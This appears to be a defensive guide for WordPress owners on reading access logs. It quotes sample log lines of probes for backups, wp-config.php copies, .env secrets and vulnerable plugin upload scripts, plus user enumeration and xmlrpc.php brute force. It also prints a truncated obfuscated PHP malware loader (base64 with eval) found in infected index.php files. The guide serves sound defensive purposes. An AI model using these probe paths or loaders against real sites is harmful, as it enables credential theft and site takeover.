Access logs

Take a look at your access logs every once in a while for they contain a plethora of information about how users are hammering your web site and what attacks might be in progress.

This will give you some idea what could be done to further secure your WordPress installation.

If you’re not familiar with access log format, these might be a good place to take a look:

https://en.wikipedia.org/wiki/Common_Log_Format

https://httpd.apache.org/docs/2.4/logs.html

You might also brush up on HTTP status codes:

https://en.wikipedia.org/wiki/List_of_HTTP_status_codes

https://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html

in short:

1xx informational response
2xx successful
3xx redirection
4xx client error
5xx server error

At first glance there appears to be several ways for bad guys to try and take control of your WordPress instalation. For example they might try to get a hold of your backup to extract wp-config.php (file which contains database credentials) or database itself.

Backup

Example of requests targeting backups:

x.x.x.x - - [date:16:02:11 -0400] "HEAD /site.zip HTTP/1.1"
x.x.x.x - - [date:16:02:25 -0400] "HEAD /Archive.zip HTTP/1.1"
x.x.x.x - - [date:16:02:36 -0400] "HEAD /well-known.zip HTTP/1.1"
x.x.x.x - - [date:16:04:33 -0400] "HEAD /public_html.zip HTTP/1.1"
x.x.x.x - - [date:16:04:58 -0400] "HEAD /backup.zip HTTP/1.1"
x.x.x.x - - [date:16:05:12 -0400] "HEAD /.well-known.zip HTTP/1.1"
x.x.x.x - - [date:16:05:13 -0400] "HEAD /cgi-bin.zip HTTP/1.1"
x.x.x.x - - [date:16:05:24 -0400] "HEAD /wp-admin.zip HTTP/1.1"
x.x.x.x - - [date:16:05:36 -0400] "HEAD /<domain>.zip HTTP/1.1"

Or the might go for some old backup or copy of wp-config.php file.

x.x.x.x - - [date:16:02:46 -0400] "HEAD /wp-config.php.bak HTTP/1.1"
x.x.x.x - - [date:16:03:02 -0400] "HEAD /wp-config.php.old HTTP/1.1"
x.x.x.x - - [date:16:03:24 -0400] "HEAD /wp-config.php.orig HTTP/1.1"
x.x.x.x - - [date:16:03:34 -0400] "HEAD /wp-config HTTP/1.1"
x.x.x.x - - [date:16:04:23 -0400] "HEAD /wp-config.php.save HTTP/1.1"
x.x.x.x - - [date:16:02:24 -0400] "HEAD /wp-config.php~ HTTP/1.1"

So make sure to keep your backup in a private place (preferably out of reach of web server) and to delete all obsolete or working versions of wp-config.php file.

Remember that files with e.g. .bak, .old, .orig, .save etc. extension will probably (unless configured otherwise) be served by your web server as plain text files exposing your data, so keeping a backup of wp-config.php named wp-config.php.old is a really bad idea.

XML-RPC

They might also try to get access via XML-RPC:

x.x.x.x - - [date:05:32:37 -0400] "GET /?author=1 HTTP/1.1"
x.x.x.x - - [date:05:32:37 -0400] "GET /?author=2 HTTP/1.1"
x.x.x.x - - [date:05:32:38 -0400] "GET /wp-json/wp/v2/users/ HTTP/1.1"
x.x.x.x - - [date:05:32:38 -0400] "POST /xmlrpc.php HTTP/1.1"
x.x.x.x - - [date:05:32:39 -0400] "POST /xmlrpc.php HTTP/1.1"
x.x.x.x - - [date:05:32:39 -0400] "POST /xmlrpc.php HTTP/1.1"
x.x.x.x - - [date:05:32:40 -0400] "POST /xmlrpc.php HTTP/1.1"
x.x.x.x - - [date:05:32:40 -0400] "POST /xmlrpc.php HTTP/1.1"
...
...
...

/?author=1 will sometimes rewrite id into slug, e.g. /author/admin/ giving a hint to attacker at admin username.

/wp-json/wp/v2/users/ will also provide some additional information about users so attacker can probably guess admin username from returned slug.

/wp-json/wp/v2/users/1 on the other hand will provide information about single user ID.

After that brute force can commence ("POST /xmlrpc.php HTTP/1.1").

XML-RPC is a powerful thing that can be used to publish or edit posts or upload new files (e.g. an image for a post). Disable XML-RPC if you don’t need it.

There are number of ways, one of them is simply adding this to .htaccess file:

# Block WordPress xmlrpc.php requests
<files xmlrpc.php>
order deny,allow
deny from all
</files>

Plugins

Bug in some plugin or misconfigured plugin might also be used to try to upload malicious files:

"GET /upload.php HTTP/1.1"
"POST /wp-content/plugins/cherry-plugin/admin/import-export/upload.php HTTP/1.1"
"POST /?gf_page=upload HTTP/1.1"
"GET /wp-content/plugins/formcraft/file-upload/server/content/upload.php HTTP/1.1"
"GET /fckeditor/editor/filemanager/connectors/php/upload.php?Type=Media HTTP/1.1"
"GET /wp-content/plugins/wp-special-textboxes/stb-uploader.php HTTP/1.1

Try to use as little plugins as possible since every one of them might be a security risk at some point. Also keep them plugins up to date.

Existing malicious code

If some malicious code has already found it’s way to your server they will try to use it:

x.x.x.x - - [date:22:16:28 -0400] "GET /wp-content/uploads/ HTTP/1.1"
x.x.x.x - - [date:22:16:29 -0400] "GET /wp-content/uploads/2020/09/ HTTP/1.1"
x.x.x.x - - [date:22:16:29 -0400] "GET /wp-content/uploads/2020/10/ HTTP/1.1"

These lines need some explaining but first a word about index.php.

When a browser requests file listing from a physical folder (e.g. /wp-content/uploads/) web server will usually first try to get default page, index.php or .html or similar. If that file is not found it will display list of all files in that folder (if not configured otherwise). There are plenty of index.php files around WordPress that are used as safeguard against directory listing. They typically look like this:

<?php
// Silence is golden.

This will just die silently instead of listing all files in folder and it’s not a bad solution to avoid trouble on a badly configured web server. However since those index.php files are all over the place looking all innocent it’s easy to overlook them.

There are number of exploits that infect index.php file in /wp-content/uploads directory structure. That folder keeps uploaded user files, e.g. post images etc.

Folder structure is /wp-content/uploads/<year>/<month>/.

So when /wp-content/uploads/2020/10/ is requested web server will serve infected index.php from that folder (if found). If malicious file was uploaded within that month attacked can freely use it.

Since default index.php files tend to be quite small and simple, bucket of evil code would stand out like a turd in a punch bowl so payload is often obfuscated, e.g.:

<?php $O00OO0=base64_decode("bjF6Yi9tYTVcdnQwaTI4LXB4dXF5KjZscmtkZzlfZWhjc3dvNCtmMzdq");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};eval($O00O0O("JE8wTzAwMD0iaFBIdlRyaXdua

Mostly it will be either base 64 encoded string or compressed binary using gzinflate to inflate. Both methods are used purely to obfuscate payload. Binary makes it a bit harder to decode since tampering with file might damage encoding.

Smaller payload usually holds particular exploit, while larger payloads tend to be tools like webshells, file managers or similar.

Keep an eye out on user generated files. There shouldn’t be any php code uploaded by users ( in /wp-content/uploads/ folder).

Environment variables

Environment variables are kept in .env files. Usually they store sensitive information, database credentials or credentials for 3rd party services etc.

Why .env?
You should never store sensitive credentials in your code. Storing configuration in the environment is one of the tenets of a twelve-factor app. Anything that is likely to change between deployment environments – such as database credentials or credentials for 3rd party services – should be extracted from the code into environment variables.

https://github.com/vlucas/phpdotenv

.env files are used by many frameworks such as Laravel and Symfony to name a few.

When deploying to production make sure that those files don’t end up on production server if they are not needed. Someone will try to get them:

x.x.x.x - - [date:03:47:29 -0400] "GET /.env HTTP/1.1"
x.x.x.x - - [date:03:47:30 -0400] "GET /api/.env HTTP/1.1"
x.x.x.x - - [date:03:47:31 -0400] "GET /laravel/.env HTTP/1.1"
x.x.x.x - - [date:03:47:32 -0400] "GET /test/.env HTTP/1.1"
x.x.x.x - - [date:03:47:33 -0400] "GET /admin/.env HTTP/1.1"
x.x.x.x - - [date:03:47:34 -0400] "GET /vendor/.env HTTP/1.1"
x.x.x.x - - [date:03:47:35 -0400] "GET /sites/.env HTTP/1.1"
x.x.x.x - - [date:03:47:36 -0400] "GET /blog/.env HTTP/1.1"
x.x.x.x - - [date:03:47:37 -0400] "GET /system/.env HTTP/1.1"
x.x.x.x - - [date:03:47:38 -0400] "GET /public/.env HTTP/1.1"
x.x.x.x - - [date:03:47:39 -0400] "GET /shop/.env HTTP/1.1"